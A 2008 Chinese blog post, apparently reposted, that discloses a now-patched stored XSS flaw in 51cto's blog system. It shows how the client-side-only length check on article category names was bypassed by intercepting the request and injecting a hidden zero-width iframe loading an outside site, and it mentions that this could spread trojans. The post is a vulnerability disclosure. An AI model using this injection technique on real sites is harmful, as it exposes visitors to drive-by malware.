博客系统漏洞解析之xss漏洞 推荐
2008-12-02 16:07
357 查看
现在各大门户网站基本都有自己的blog系统,但有不少存在漏洞,本文就以51cto的blog为例,向大家介绍该如何发现和利用漏洞。在发布本文前已经通知了相关人员,漏洞已经补上了。
51cto的blog系统功能很强大,可自定义很多设置,同时也带来了一些安全隐患。在blog系统后台的“文章管理”栏目的“我的文章分类”中,可以添加文章分类,尽管开发者对文章分类的字数有所限制,但只是在客户端进行了鉴别,我们可以想办法通过achilles这款软件抓包后,对数据包进行修改,加入我们要加的代码,如图1所示。
图1
其中666666是我正常提交的文章分类字符,我们将其改为<iframe src="http://www.itheroes.cn" width=0></iframe>,然后再提交。然后再浏览我的blog首页sally.blog.51cto.com,你会发现在打开blog的同时也在打开www.itheroes.cn这个网站,如图2所示。
图2
blog后台的文章分类也变成了图3的形式。
现在破坏者可以给挂了木马的blog起个媚俗的名字,好奇者访问了。
51cto的blog系统功能很强大,可自定义很多设置,同时也带来了一些安全隐患。在blog系统后台的“文章管理”栏目的“我的文章分类”中,可以添加文章分类,尽管开发者对文章分类的字数有所限制,但只是在客户端进行了鉴别,我们可以想办法通过achilles这款软件抓包后,对数据包进行修改,加入我们要加的代码,如图1所示。
图1
其中666666是我正常提交的文章分类字符,我们将其改为<iframe src="http://www.itheroes.cn" width=0></iframe>,然后再提交。然后再浏览我的blog首页sally.blog.51cto.com,你会发现在打开blog的同时也在打开www.itheroes.cn这个网站,如图2所示。
图2
blog后台的文章分类也变成了图3的形式。
现在破坏者可以给挂了木马的blog起个媚俗的名字,好奇者访问了。
相关文章推荐
- 博客系统漏洞解析 之 评论灌水机 推荐
- [XSS]51CTO博客IE6跨站漏洞解析
- 如何为技术博客设计一个推荐系统(中):基于 Google 搜索的半自动推荐
- 【解析Windows7系统的硬盘分区只有一个的情况_系统收藏推荐】
- XSS漏洞解析(一)
- 推荐一款国内免费开源个人博客系统-TQBlog开源博客系统
- 解析同一系统安装RPM包的tomcat与压缩包tomact同时使用问题 推荐
- PHP通用的XSS攻击过滤函数,Discuz系统中 防止XSS漏洞攻击,过滤HTML危险标签属性的PHP函数
- 解析智能推荐系统开发中十大关键要素
- 推荐几款常用的开源博客系统
- 关于模式识别、机器学习、推荐系统、图像特征等方面个人主页及博客
- 薄弱的交互页面之新浪微博到博客的储存型xss漏洞
- 数据挖掘,机器学习,推荐系统的牛人博客
- Oblog博客系统存在SQL注入漏洞http://www.anqn.com
- 深入解析大数据虚拟化的架构(下)- 系统架构 推荐
- 说说博客匹配、推荐与搜索系统
- nginx解析漏洞 只要可以上传文件就会被黑 推荐
- 邮件群发系统实例-代码解析 推荐
- 个人喜欢的关于模式识别、机器学习、推荐系统、图像特征、深度学习、数值计算、目标跟踪等方面个人主页及博客